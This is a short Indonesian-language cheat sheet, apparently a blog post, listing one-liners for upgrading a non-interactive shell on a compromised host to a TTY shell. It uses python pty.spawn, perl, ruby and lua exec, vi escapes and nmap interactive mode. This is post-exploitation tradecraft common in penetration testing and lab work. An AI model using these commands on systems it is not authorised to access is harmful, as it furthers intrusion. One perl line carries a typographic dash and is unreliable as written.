Spawning TTY Shell

 Seringkali mendapatkan shell tanpa tty, namun ingin berinteraksi lebih jauh dengan sistem. Hal ini biasanya ditandai dengan munculnya keterangan seperti dibawah.

"su: must be run from a terminal"

Berikut adalah beberapa perintah yang memungkinkan kalian untuk mengupgrade shell tty. Jelas beberapa di antaranya akan bergantung pada lingkungan sistem dan paket yang diinstal.

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • perl —e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • exec "/bin/sh" (From within IRB)
  • :!bash (From within vi)
  • :set shell=/bin/bash:shell (From within vi)
  • !sh (From within nmap)

Dari beberapa perintah yang tersedia, 3 urutan teratas yang sering digunakan untuk spawning tty shell.

thx : netsec.ws

Comments